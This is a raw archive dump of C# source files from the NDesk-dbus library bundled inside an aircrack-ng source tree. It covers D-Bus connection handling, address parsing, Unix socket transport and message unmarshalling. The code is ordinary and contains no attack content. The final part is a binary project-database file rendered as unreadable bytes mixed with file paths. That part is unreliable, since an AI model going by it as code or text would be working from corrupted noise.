intro.root_path = method_call.Path; intro.WriteStart (); //FIXME: do this properly //this is messy and inefficient List linkNodes = new List (); int depth = method_call.Path.Decomposed.Length; foreach (ObjectPath pth in RegisteredObjects.Keys) { if (pth.Value == (method_call.Path.Value)) { ExportObject exo = (ExportObject)RegisteredObjects[pth]; intro.WriteType (exo.obj.GetType ()); } else { for (ObjectPath cur = pth ; cur != null ; cur = cur.Parent) { if (cur.Value == method_call.Path.Value) { string linkNode = pth.Decomposed[depth]; if (!linkNodes.Contains (linkNode)) { intro.WriteNode (linkNode); linkNodes.Add (linkNode); } } } } } intro.WriteEnd (); Message reply = MessageHelper.ConstructReply (method_call, intro.xml); Send (reply); return; } BusObject bo; if (RegisteredObjects.TryGetValue (method_call.Path, out bo)) { ExportObject eo = (ExportObject)bo; eo.HandleMethodCall (method_call); } else { MaybeSendUnknownMethodError (method_call); } } Dictionary RegisteredObjects = new Dictionary (); //FIXME: this shouldn't be part of the core API //that also applies to much of the other object mapping code public object GetObject (Type type, string bus_name, ObjectPath path) { //if (type == null) // return GetObject (bus_name, path); //if the requested type is an interface, we can implement it efficiently //otherwise we fall back to using a transparent proxy if (type.IsInterface) { return BusObject.GetObject (this, bus_name, path, type); } else { if (Protocol.Verbose) Console.Error.WriteLine ("Warning: Note that MarshalByRefObject use is not recommended; for best performance, define interfaces"); BusObject busObject = new BusObject (this, bus_name, path); DProxy prox = new DProxy (busObject, type); return prox.GetTransparentProxy (); } } public T GetObject (string bus_name, ObjectPath path) { return (T)GetObject (typeof (T), bus_name, path); } [Obsolete ("Use the overload of Register() which does not take a bus_name parameter")] public void Register (string bus_name, ObjectPath path, object obj) { Register (path, obj); } [Obsolete ("Use the overload of Unregister() which does not take a bus_name parameter")] public object Unregister (string bus_name, ObjectPath path) { return Unregister (path); } public void Register (ObjectPath path, object obj) { ExportObject eo = new ExportObject (this, path, obj); eo.Registered = true; //TODO: implement some kind of tree data structure or internal object hierarchy. right now we are ignoring the name and putting all object paths in one namespace, which is bad RegisteredObjects[path] = eo; } public object Unregister (ObjectPath path) { BusObject bo; if (!RegisteredObjects.TryGetValue (path, out bo)) throw new Exception ("Cannot unregister " + path + " as it isn't registered"); RegisteredObjects.Remove (path); ExportObject eo = (ExportObject)bo; eo.Registered = false; return eo.obj; } //these look out of place, but are useful internal protected virtual void AddMatch (string rule) { } internal protected virtual void RemoveMatch (string rule) { } static Connection () { if (BitConverter.IsLittleEndian) NativeEndianness = EndianFlag.Little; else NativeEndianness = EndianFlag.Big; } internal static readonly EndianFlag NativeEndianness; } } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/Address.cs0000644000000000000000000000667311600013506023360 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Text; using System.Collections.Generic; namespace NDesk.DBus { public class BadAddressException : Exception { public BadAddressException (string reason) : base (reason) {} } class AddressEntry { public string Method; public IDictionary Properties = new Dictionary (); public override string ToString () { StringBuilder sb = new StringBuilder (); sb.Append (Method); sb.Append (':'); bool first = true; foreach (KeyValuePair prop in Properties) { if (first) first = false; else sb.Append (','); sb.Append (prop.Key); sb.Append ('='); sb.Append (Escape (prop.Value)); } return sb.ToString (); } static string Escape (string str) { if (str == null) return String.Empty; StringBuilder sb = new StringBuilder (); int len = str.Length; for (int i = 0 ; i != len ; i++) { char c = str[i]; //everything other than the optionally escaped chars _must_ be escaped if (Char.IsLetterOrDigit (c) || c == '-' || c == '_' || c == '/' || c == '\\' || c == '.') sb.Append (c); else sb.Append (Uri.HexEscape (c)); } return sb.ToString (); } static string Unescape (string str) { if (str == null) return String.Empty; StringBuilder sb = new StringBuilder (); int len = str.Length; int i = 0; while (i != len) { if (Uri.IsHexEncoding (str, i)) sb.Append (Uri.HexUnescape (str, ref i)); else sb.Append (str[i++]); } return sb.ToString (); } public static AddressEntry Parse (string s) { AddressEntry entry = new AddressEntry (); string[] parts = s.Split (':'); if (parts.Length < 2) throw new BadAddressException ("No colon found"); if (parts.Length > 2) throw new BadAddressException ("Too many colons found"); entry.Method = parts[0]; foreach (string propStr in parts[1].Split (',')) { parts = propStr.Split ('='); if (parts.Length < 2) throw new BadAddressException ("No equals sign found"); if (parts.Length > 2) throw new BadAddressException ("Too many equals signs found"); entry.Properties[parts[0]] = Unescape (parts[1]); } return entry; } } static class Address { //(unix:(path|abstract)=.*,guid=.*|tcp:host=.*(,port=.*)?);? ... public static AddressEntry[] Parse (string addresses) { if (addresses == null) throw new ArgumentNullException (addresses); List entries = new List (); foreach (string entryStr in addresses.Split (';')) entries.Add (AddressEntry.Parse (entryStr)); return entries.ToArray (); } const string SYSTEM_BUS_ADDRESS = "unix:path=/var/run/dbus/system_bus_socket"; public static string System { get { string addr = Environment.GetEnvironmentVariable ("DBUS_SYSTEM_BUS_ADDRESS"); if (String.IsNullOrEmpty (addr)) addr = SYSTEM_BUS_ADDRESS; return addr; } } public static string Session { get { return Environment.GetEnvironmentVariable ("DBUS_SESSION_BUS_ADDRESS"); } } public static string Starter { get { return Environment.GetEnvironmentVariable ("DBUS_STARTER_ADDRESS"); } } public static string StarterBusType { get { return Environment.GetEnvironmentVariable ("DBUS_STARTER_BUS_TYPE"); } } } } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/NDesk-dbus.csproj0000644000000000000000000000571111600013506024615 0ustar rootroot Debug AnyCPU 10.0.0 2.0 {223B034E-A2F0-4BC7-875A-F9B5972C0670} Library NDeskdbus NDesk-dbus false ndesk.snk v2.0 true full false bin\Debug DEBUG prompt 4 false /unsafe none false bin\Release prompt 4 false /unsafe aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/Transport.cs0000644000000000000000000000223011600013506023750 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.IO; namespace NDesk.DBus.Transports { abstract class Transport { public static Transport Create (AddressEntry entry) { switch (entry.Method) { case "tcp": { Transport transport = new SocketTransport (); transport.Open (entry); return transport; } #if !PORTABLE case "unix": { //Transport transport = new UnixMonoTransport (); Transport transport = new UnixNativeTransport (); transport.Open (entry); return transport; } #endif default: throw new NotSupportedException ("Transport method \"" + entry.Method + "\" not supported"); } } protected Connection connection; public Connection Connection { get { return connection; } set { connection = value; } } //TODO: design this properly //this is just a temporary solution public Stream Stream; public long SocketHandle; public abstract void Open (AddressEntry entry); public abstract string AuthString (); public abstract void WriteCred (); } } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/UnixNativeTransport.cs0000644000000000000000000001635011600013506025773 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details //We send BSD-style credentials on all platforms //Doesn't seem to break Linux (but is redundant there) //This may turn out to be a bad idea #define HAVE_CMSGCRED using System; using System.IO; using System.Text; using System.Runtime.InteropServices; using Mono.Unix; using Mono.Unix.Native; namespace NDesk.DBus.Transports { class UnixSocket { public const short AF_UNIX = 1; //TODO: SOCK_STREAM is 2 on Solaris public const short SOCK_STREAM = 1; //TODO: some of these are provided by libsocket instead of libc on Solaris [DllImport ("libc", SetLastError=true)] protected static extern int socket (int domain, int type, int protocol); [DllImport ("libc", SetLastError=true)] protected static extern int connect (int sockfd, byte[] serv_addr, uint addrlen); [DllImport ("libc", SetLastError=true)] protected static extern int bind (int sockfd, byte[] my_addr, uint addrlen); [DllImport ("libc", SetLastError=true)] protected static extern int listen (int sockfd, int backlog); //TODO: this prototype is probably wrong, fix it [DllImport ("libc", SetLastError=true)] protected static extern int accept (int sockfd, byte[] addr, ref uint addrlen); //TODO: confirm and make use of these functions [DllImport ("libc", SetLastError=true)] protected static extern int getsockopt (int s, int optname, IntPtr optval, ref uint optlen); [DllImport ("libc", SetLastError=true)] protected static extern int setsockopt (int s, int optname, IntPtr optval, uint optlen); [DllImport ("libc", SetLastError=true)] public static extern int recvmsg (int s, IntPtr msg, int flags); [DllImport ("libc", SetLastError=true)] public static extern int sendmsg (int s, IntPtr msg, int flags); public int Handle; public UnixSocket (int handle) { this.Handle = handle; } public UnixSocket () { //TODO: don't hard-code PF_UNIX and SOCK_STREAM or SocketType.Stream //AddressFamily family, SocketType type, ProtocolType proto int r = socket (AF_UNIX, SOCK_STREAM, 0); //we should get the Exception from UnixMarshal and throw it here for a better stack trace, but the relevant API seems to be private UnixMarshal.ThrowExceptionForLastErrorIf (r); Handle = r; } protected bool connected = false; //TODO: consider memory management public void Connect (byte[] remote_end) { int r = connect (Handle, remote_end, (uint)remote_end.Length); //we should get the Exception from UnixMarshal and throw it here for a better stack trace, but the relevant API seems to be private UnixMarshal.ThrowExceptionForLastErrorIf (r); connected = true; } //assigns a name to the socket public void Bind (byte[] local_end) { int r = bind (Handle, local_end, (uint)local_end.Length); UnixMarshal.ThrowExceptionForLastErrorIf (r); } public void Listen (int backlog) { int r = listen (Handle, backlog); UnixMarshal.ThrowExceptionForLastErrorIf (r); } public UnixSocket Accept () { byte[] addr = new byte[110]; uint addrlen = (uint)addr.Length; int r = accept (Handle, addr, ref addrlen); UnixMarshal.ThrowExceptionForLastErrorIf (r); //TODO: use the returned addr //TODO: fix probable memory leak here //string str = Encoding.Default.GetString (addr, 0, (int)addrlen); return new UnixSocket (r); } } struct IOVector { public IntPtr Base; public int Length; } class UnixNativeTransport : UnixTransport { protected UnixSocket socket; public override void Open (string path, bool @abstract) { if (String.IsNullOrEmpty (path)) throw new ArgumentException ("path"); if (@abstract) socket = OpenAbstractUnix (path); else socket = OpenUnix (path); //socket.Blocking = true; SocketHandle = (long)socket.Handle; Stream = new UnixStream ((int)socket.Handle); } //send peer credentials null byte //different platforms do this in different ways #if HAVE_CMSGCRED unsafe void WriteBsdCred () { //null credentials byte byte buf = 0; IOVector iov = new IOVector (); iov.Base = (IntPtr)(&buf); iov.Length = 1; msghdr msg = new msghdr (); msg.msg_iov = &iov; msg.msg_iovlen = 1; cmsg cm = new cmsg (); msg.msg_control = (IntPtr)(&cm); msg.msg_controllen = (uint)sizeof (cmsg); cm.hdr.cmsg_len = (uint)sizeof (cmsg); cm.hdr.cmsg_level = 0xffff; //SOL_SOCKET cm.hdr.cmsg_type = 0x03; //SCM_CREDS int written = UnixSocket.sendmsg (socket.Handle, (IntPtr)(&msg), 0); UnixMarshal.ThrowExceptionForLastErrorIf (written); if (written != 1) throw new Exception ("Failed to write credentials"); } #endif public override void WriteCred () { #if HAVE_CMSGCRED try { WriteBsdCred (); } catch { if (Protocol.Verbose) Console.Error.WriteLine ("Warning: WriteBsdCred() failed; falling back to ordinary WriteCred()"); //null credentials byte byte buf = 0; Stream.WriteByte (buf); } #else //null credentials byte byte buf = 0; Stream.WriteByte (buf); #endif } protected UnixSocket OpenAbstractUnix (string path) { byte[] p = Encoding.Default.GetBytes (path); byte[] sa = new byte[2 + 1 + p.Length]; //we use BitConverter to stay endian-safe byte[] afData = BitConverter.GetBytes (UnixSocket.AF_UNIX); sa[0] = afData[0]; sa[1] = afData[1]; sa[2] = 0; //null prefix for abstract domain socket addresses, see unix(7) for (int i = 0 ; i != p.Length ; i++) sa[3 + i] = p[i]; UnixSocket client = new UnixSocket (); client.Connect (sa); return client; } public UnixSocket OpenUnix (string path) { byte[] p = Encoding.Default.GetBytes (path); byte[] sa = new byte[2 + p.Length + 1]; //we use BitConverter to stay endian-safe byte[] afData = BitConverter.GetBytes (UnixSocket.AF_UNIX); sa[0] = afData[0]; sa[1] = afData[1]; for (int i = 0 ; i != p.Length ; i++) sa[2 + i] = p[i]; sa[2 + p.Length] = 0; //null suffix for domain socket addresses, see unix(7) UnixSocket client = new UnixSocket (); client.Connect (sa); return client; } } #if HAVE_CMSGCRED /* public struct msg { public IntPtr msg_next; public long msg_type; public ushort msg_ts; short msg_spot; IntPtr label; } */ unsafe struct msghdr { public IntPtr msg_name; //optional address public uint msg_namelen; //size of address public IOVector *msg_iov; //scatter/gather array public int msg_iovlen; //# elements in msg_iov public IntPtr msg_control; //ancillary data, see below public uint msg_controllen; //ancillary data buffer len public int msg_flags; //flags on received message } struct cmsghdr { public uint cmsg_len; //data byte count, including header public int cmsg_level; //originating protocol public int cmsg_type; //protocol-specific type } unsafe struct cmsgcred { public int cmcred_pid; //PID of sending process public uint cmcred_uid; //real UID of sending process public uint cmcred_euid; //effective UID of sending process public uint cmcred_gid; //real GID of sending process public short cmcred_ngroups; //number or groups public fixed uint cmcred_groups[16]; //groups, CMGROUP_MAX } struct cmsg { public cmsghdr hdr; public cmsgcred cred; } #endif } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/PendingCall.cs0000644000000000000000000000207111600013506024137 0ustar rootroot// Copyright 2007 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Threading; namespace NDesk.DBus { class PendingCall { Connection conn; Message reply = null; object lockObj = new object (); public PendingCall (Connection conn) { this.conn = conn; } int waiters = 0; public Message Reply { get { if (Thread.CurrentThread == conn.mainThread) { /* while (reply == null) conn.Iterate (); */ while (reply == null) conn.HandleMessage (conn.ReadMessage ()); conn.DispatchSignals (); } else { lock (lockObj) { Interlocked.Increment (ref waiters); while (reply == null) Monitor.Wait (lockObj); Interlocked.Decrement (ref waiters); } } return reply; } set { lock (lockObj) { reply = value; if (waiters > 0) Monitor.PulseAll (lockObj); if (Completed != null) Completed (reply); } } } public event Action Completed; } } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/MessageReader.cs0000644000000000000000000002234511600013506024474 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Text; using System.Collections.Generic; using System.IO; using System.Reflection; namespace NDesk.DBus { class MessageReader { protected EndianFlag endianness; protected byte[] data; //TODO: this should be uint or long to handle long messages protected int pos = 0; protected Message message; public MessageReader (EndianFlag endianness, byte[] data) { if (data == null) throw new ArgumentNullException ("data"); this.endianness = endianness; this.data = data; } public MessageReader (Message message) : this (message.Header.Endianness, message.Body) { if (message == null) throw new ArgumentNullException ("message"); this.message = message; } public object ReadValue (Type type) { if (type == typeof (void)) return null; if (type.IsArray) { return ReadArray (type.GetElementType ()); } else if (type == typeof (ObjectPath)) { return ReadObjectPath (); } else if (type == typeof (Signature)) { return ReadSignature (); } else if (type == typeof (object)) { return ReadVariant (); } else if (type == typeof (string)) { return ReadString (); } else if (type.IsGenericType && type.GetGenericTypeDefinition () == typeof (IDictionary<,>)) { Type[] genArgs = type.GetGenericArguments (); //Type dictType = typeof (Dictionary<,>).MakeGenericType (genArgs); //workaround for Mono bug #81035 (memory leak) Type dictType = Mapper.GetGenericType (typeof (Dictionary<,>), genArgs); System.Collections.IDictionary idict = (System.Collections.IDictionary)Activator.CreateInstance(dictType, new object[0]); GetValueToDict (genArgs[0], genArgs[1], idict); return idict; } else if (Mapper.IsPublic (type)) { return GetObject (type); } else if (!type.IsPrimitive && !type.IsEnum) { return ReadStruct (type); } else { object val; DType dtype = Signature.TypeToDType (type); val = ReadValue (dtype); if (type.IsEnum) val = Enum.ToObject (type, val); return val; } } //helper method, should not be used generally public object ReadValue (DType dtype) { switch (dtype) { case DType.Byte: return ReadByte (); case DType.Boolean: return ReadBoolean (); case DType.Int16: return ReadInt16 (); case DType.UInt16: return ReadUInt16 (); case DType.Int32: return ReadInt32 (); case DType.UInt32: return ReadUInt32 (); case DType.Int64: return ReadInt64 (); case DType.UInt64: return ReadUInt64 (); #if !DISABLE_SINGLE case DType.Single: return ReadSingle (); #endif case DType.Double: return ReadDouble (); case DType.String: return ReadString (); case DType.ObjectPath: return ReadObjectPath (); case DType.Signature: return ReadSignature (); case DType.Variant: return ReadVariant (); default: throw new Exception ("Unhandled D-Bus type: " + dtype); } } public object GetObject (Type type) { ObjectPath path = ReadObjectPath (); return message.Connection.GetObject (type, (string)message.Header.Fields[FieldCode.Sender], path); } public byte ReadByte () { return data[pos++]; } public bool ReadBoolean () { uint intval = ReadUInt32 (); switch (intval) { case 0: return false; case 1: return true; default: throw new Exception ("Read value " + intval + " at position " + pos + " while expecting boolean (0/1)"); } } unsafe protected void MarshalUShort (byte *dst) { ReadPad (2); if (endianness == Connection.NativeEndianness) { dst[0] = data[pos + 0]; dst[1] = data[pos + 1]; } else { dst[0] = data[pos + 1]; dst[1] = data[pos + 0]; } pos += 2; } unsafe public short ReadInt16 () { short val; MarshalUShort ((byte*)&val); return val; } unsafe public ushort ReadUInt16 () { ushort val; MarshalUShort ((byte*)&val); return val; } unsafe protected void MarshalUInt (byte *dst) { ReadPad (4); if (endianness == Connection.NativeEndianness) { dst[0] = data[pos + 0]; dst[1] = data[pos + 1]; dst[2] = data[pos + 2]; dst[3] = data[pos + 3]; } else { dst[0] = data[pos + 3]; dst[1] = data[pos + 2]; dst[2] = data[pos + 1]; dst[3] = data[pos + 0]; } pos += 4; } unsafe public int ReadInt32 () { int val; MarshalUInt ((byte*)&val); return val; } unsafe public uint ReadUInt32 () { uint val; MarshalUInt ((byte*)&val); return val; } unsafe protected void MarshalULong (byte *dst) { ReadPad (8); if (endianness == Connection.NativeEndianness) { for (int i = 0; i < 8; ++i) dst[i] = data[pos + i]; } else { for (int i = 0; i < 8; ++i) dst[i] = data[pos + (7 - i)]; } pos += 8; } unsafe public long ReadInt64 () { long val; MarshalULong ((byte*)&val); return val; } unsafe public ulong ReadUInt64 () { ulong val; MarshalULong ((byte*)&val); return val; } #if !DISABLE_SINGLE unsafe public float ReadSingle () { float val; MarshalUInt ((byte*)&val); return val; } #endif unsafe public double ReadDouble () { double val; MarshalULong ((byte*)&val); return val; } public string ReadString () { uint ln = ReadUInt32 (); string val = Encoding.UTF8.GetString (data, pos, (int)ln); pos += (int)ln; ReadNull (); return val; } public ObjectPath ReadObjectPath () { //exactly the same as string return new ObjectPath (ReadString ()); } public Signature ReadSignature () { byte ln = ReadByte (); if (ln > Protocol.MaxSignatureLength) throw new Exception ("Signature length " + ln + " exceeds maximum allowed " + Protocol.MaxSignatureLength + " bytes"); byte[] sigData = new byte[ln]; Array.Copy (data, pos, sigData, 0, (int)ln); pos += (int)ln; ReadNull (); return new Signature (sigData); } public object ReadVariant () { return ReadVariant (ReadSignature ()); } object ReadVariant (Signature sig) { return ReadValue (sig.ToType ()); } //not pretty or efficient but works public void GetValueToDict (Type keyType, Type valType, System.Collections.IDictionary val) { uint ln = ReadUInt32 (); if (ln > Protocol.MaxArrayLength) throw new Exception ("Dict length " + ln + " exceeds maximum allowed " + Protocol.MaxArrayLength + " bytes"); //advance to the alignment of the element //ReadPad (Protocol.GetAlignment (Signature.TypeToDType (type))); ReadPad (8); int endPos = pos + (int)ln; //while (stream.Position != endPos) while (pos < endPos) { ReadPad (8); val.Add (ReadValue (keyType), ReadValue (valType)); } if (pos != endPos) throw new Exception ("Read pos " + pos + " != ep " + endPos); } //this could be made generic to avoid boxing public Array ReadArray (Type elemType) { uint ln = ReadUInt32 (); if (ln > Protocol.MaxArrayLength) throw new Exception ("Array length " + ln + " exceeds maximum allowed " + Protocol.MaxArrayLength + " bytes"); //TODO: more fast paths for primitive arrays if (elemType == typeof (byte)) { byte[] valb = new byte[ln]; Array.Copy (data, pos, valb, 0, (int)ln); pos += (int)ln; return valb; } //advance to the alignment of the element ReadPad (Protocol.GetAlignment (Signature.TypeToDType (elemType))); int endPos = pos + (int)ln; //List vals = new List (); System.Collections.ArrayList vals = new System.Collections.ArrayList (); //while (stream.Position != endPos) while (pos < endPos) vals.Add (ReadValue (elemType)); if (pos != endPos) throw new Exception ("Read pos " + pos + " != ep " + endPos); return vals.ToArray (elemType); } //struct //probably the wrong place for this //there might be more elegant solutions public object ReadStruct (Type type) { ReadPad (8); object val = Activator.CreateInstance (type); /* if (type.IsGenericType && type.GetGenericTypeDefinition () == typeof (KeyValuePair<,>)) { object elem; System.Reflection.PropertyInfo key_prop = type.GetProperty ("Key"); GetValue (key_prop.PropertyType, out elem); key_prop.SetValue (val, elem, null); System.Reflection.PropertyInfo val_prop = type.GetProperty ("Value"); GetValue (val_prop.PropertyType, out elem); val_prop.SetValue (val, elem, null); return; } */ FieldInfo[] fis = type.GetFields (BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance); foreach (System.Reflection.FieldInfo fi in fis) fi.SetValue (val, ReadValue (fi.FieldType)); return val; } public void ReadNull () { if (data[pos] != 0) throw new Exception ("Read non-zero byte at position " + pos + " while expecting null terminator"); pos++; } /* public void ReadPad (int alignment) { pos = Protocol.Padded (pos, alignment); } */ public void ReadPad (int alignment) { for (int endPos = Protocol.Padded (pos, alignment) ; pos != endPos ; pos++) if (data[pos] != 0) throw new Exception ("Read non-zero byte at position " + pos + " while expecting padding"); } } } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/NDesk-dbus.pidb0000644000000000000000000023374611600013506024246 0ustar rootrootÿÿÿÿSystem.Collections.Hashtable LoadFactorVersionComparerHashCodeProviderHashSizeKeysValues System.Collections.IComparer$System.Collections.IHashCodeProviderìQ8?   LastValidTaskListTokensVersionFIXME:2;TODO:1;HACK:1;UNDONE:0T âÁäfSignalþÿÿÿyy”g|C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Wrapper.csh NDesk.DBusþÿÿÿ{ÿhiMessagejPathþÿÿÿÿhk ObjectPathl Interfaceþÿÿÿ‘mMemberþÿÿÿ’nSenderþÿÿÿ“þÿÿÿ } }D„)ÿhk}o interface})pmember}=þÿÿÿ † †"Žÿhi†XfErrorþÿÿÿ`` wg|C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Wrapper.csh NDesk.DBusþÿÿÿbÿhiMessagej ErrorNameþÿÿÿtk ReplySerialþÿÿÿu þÿÿÿ d d6jl error_namedm reply_serial d)þÿÿÿ l l!rÿhilf MethodReturnþÿÿÿJJ^g|C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Wrapper.csh NDesk.DBusþÿÿÿLÿhiMessagej ReplySerialþÿÿÿ] þÿÿÿ N N*Uk reply_serial Nþÿÿÿ W W([ÿhiW ¨f MethodCallþÿÿÿHg|C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Wrapper.csh NDesk.DBusþÿÿÿÿhiMessagejPathþÿÿÿ?ÿhk ObjectPathl Interfaceþÿÿÿ@mMemberþÿÿÿAn DestinationþÿÿÿBoSenderþÿÿÿCp SignatureþÿÿÿGÿhpþÿÿÿ  q%)ÿhk!q interface-rmemberAs destinationPt signatureÿhpgþÿÿÿ ' '&=ÿhi'[f UnixTransportþÿÿÿ  $g‚C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\UnixTransport.cshNDesk.DBus.Transportsÿhi TransportjOpenþÿÿÿ  1kentryÿl NDesk.DBusm AddressEntry +n AuthStringþÿÿÿ'!jþÿÿÿ#)#%oabstract#/0 fTypeImplementerþÿÿÿ‚  ig„C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\TypeImplementer.csh NDesk.DBus iasmBþÿÿÿÿjSystem.Reflection.EmitkAssemblyBuilderlmodBþÿÿÿÿjm ModuleBuildernmapþÿÿÿ ÿoSystem.Collections.Genericp DictionaryqsendMethodCallMethodþÿÿÿJÿrSystem.Reflections MethodInfotsendSignalMethodþÿÿÿKÿrsutoggleSignalMethodþÿÿÿLÿrsvhookup_methodsþÿÿÿN.ÿopÿrw EventInfoÿjx DynamicMethodygetTypeFromHandleMethodþÿÿÿsÿrsz argumentNullExceptionConstructorþÿÿÿtÿr{ConstructorInfo|messageWriterConstructorþÿÿÿuÿr{}messageWriterWriteMethodþÿÿÿvÿrs~messageWriterWritePadþÿÿÿwÿrs writeMethodsþÿÿÿy&ÿopÿrs €InitHackþÿÿÿGetImplementationþÿÿÿˆ70‚declType.ƒ Implementþÿÿÿˆ22?H„typeBÿj… TypeBuilder2-†iface29‡GetHookupMethodþÿÿÿˆOO=_ÿjxˆeiÿrwO:‡þÿÿÿˆaapÿjx‰ declMethodÿrsa;Š invokeMethodÿrsaR‹ interfaceafŒmemberazGetWriteMethodþÿÿÿˆ{{3œÿrsŽt{1 GenWriterþÿÿÿˆŸŸ9½ilgÿj‘ ILGeneratorŸ-ŽŸ7’GenMarshalWriteþÿÿÿˆÀÀBÛÿj‘À3_À=“GenHookupMethodþÿÿÿˆÝ݉hÿj‘Ý3‰ÿrsÝCŠÿrsÝZ‹ÝnŒÝ‚¦f Transportþÿÿÿ  6g~C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Transport.cshNDesk.DBus.Transportsi connectionþÿÿÿ#ÿj NDesk.DBusk ConnectionlStreamþÿÿÿ1ÿm System.IOln SocketHandleþÿÿÿ2 oCreateþÿÿÿˆ  6!ÿhfpentryÿjq AddressEntry 0rOpenþÿÿÿ3pÿjq3+s AuthStringþÿÿÿ4t WriteCredþÿÿÿ5kþÿÿÿ%&,ÿjk'))+xfSocketTransportþÿÿÿ  ;g„C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\SocketTransport.cshNDesk.DBus.Transportsÿhi TransportjsocketþÿÿÿÿkSystem.Net.SocketslSocketmOpenþÿÿÿ1nentryÿo NDesk.DBusp AddressEntry+mþÿÿÿ!!+&qhost!rport !&mþÿÿÿ((#0jÿkl(s WriteCredþÿÿÿ22$5t AuthStringþÿÿÿ77':ÞfDTypeþÿÿÿ 7g~C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Signature.csh NDesk.DBusiInvalidþÿÿÿ jByteþÿÿÿ kBooleanþÿÿÿ lInt16þÿÿÿ !mUInt16þÿÿÿ "nInt32þÿÿÿ #oUInt32þÿÿÿ $pInt64þÿÿÿ %qUInt64þÿÿÿ &rSingleþÿÿÿ 'sDoubleþÿÿÿ (tStringþÿÿÿ )u ObjectPathþÿÿÿ *v Signatureþÿÿÿ +wArrayþÿÿÿ -xStructþÿÿÿ /y DictEntryþÿÿÿ 0zVariantþÿÿÿ 1{ StructBeginþÿÿÿ 3| StructEndþÿÿÿ 4}DictEntryBeginþÿÿÿ 5~ DictEntryEndþÿÿÿ 6-f ArgDirectionþÿÿÿg~C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Signature.csh NDesk.DBusiInþÿÿÿ jOutþÿÿÿ ef SignatureþÿÿÿB g~C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Signature.csh NDesk.DBusiEmptyþÿÿÿˆ$ÿhfþÿÿÿt ÿjSystemkBytel op_Equalityþÿÿÿˆ <.maÿhf-nbÿhf:o op_Inequalityþÿÿÿˆ 00<3mÿhf0-nÿhf0:þÿÿÿ55)>&5'p GetHashCodeþÿÿÿ@@%C q op_Additionþÿÿÿˆ EEBHÿhfrs1ÿhfE1ss2ÿhfE?tConcatþÿÿÿˆKK>NÿhfrÿhfK-sÿhfK;uCopyþÿÿÿˆPP/SÿhfvsigÿhfP+þÿÿÿ U U"X`Uþÿÿÿ Z Z"]`ÿjkZþÿÿÿ ` `#c`ÿhwDType`þÿÿÿ e e%r`ÿhwex GetBufferþÿÿÿxx{ÿjk^þÿÿÿ™™%±yMakeArraySignatureþÿÿÿ³³)¶ÿhfz MakeStructþÿÿÿˆ¸¸@Äÿhf{elemsÿhf¸:| MakeDictEntryþÿÿÿˆÆÆQÒÿhf}keyTypeÿhfÆ4~ valueTypeÿhfÆGMakeDictþÿÿÿˆÔÔL×ÿhf}ÿhfÔ/~ÿhfÔB€GetElementSignatureþÿÿÿ* ÿhfToTypesþÿÿÿÿj‚TypeƒToTypeþÿÿÿ„TypeCodeToDTypeþÿÿÿ‚<Jÿhw…typeCodeÿj†TypeCode3‡ TypeToDTypeþÿÿÿ‚MM0rÿhw_M+ƒþÿÿÿ˜˜#шpos ˜‰GetSigŠ,/not supported by libdbus at time of writingˆÓÓ1Öÿhf‹objsÿjŒObjectÓ,‰þÿÿÿˆØØ0ãÿhftypesÿj‚Ø*‰þÿÿÿˆåå-ÿhf_å(Žthisþÿÿÿ} }}}!ÿhwLengthþÿÿÿ„…‰ †ˆValueþÿÿÿŒ—Ž–‘IsDictþÿÿÿæçôèó’IsArrayþÿÿÿö÷ø%fProtocolþÿÿÿ‚ÉÉg}C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Protocol.csh NDesk.DBus i MinVersionþÿÿÿˆÌjVersionþÿÿÿˆÍk MaxVersionþÿÿÿˆÎlMaxMessageLengthþÿÿÿˆÐ mMaxArrayLengthþÿÿÿˆÑ nMaxSignatureLengthþÿÿÿˆÒ o MaxArrayDepthþÿÿÿˆÓ pMaxStructDepthþÿÿÿˆÔ q MaxNameLengthþÿÿÿ‚× rVerboseþÿÿÿˆs PadNeededþÿÿÿˆÙÙ7ß tpos Ù$u alignment Ù-vPaddedþÿÿÿˆáá4è t á!u á*w GetAlignmentþÿÿÿˆêê/ xdtypeÿhyDTypeê)þÿÿÿ  df ObjectPathþÿÿÿH{{ Çg}C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Protocol.csh NDesk.DBusiRootþÿÿÿˆ}%ÿhfjValueþÿÿÿþÿÿÿ #‡`þÿÿÿ‰‰)‘&‰'k GetHashCodeþÿÿÿ““%– 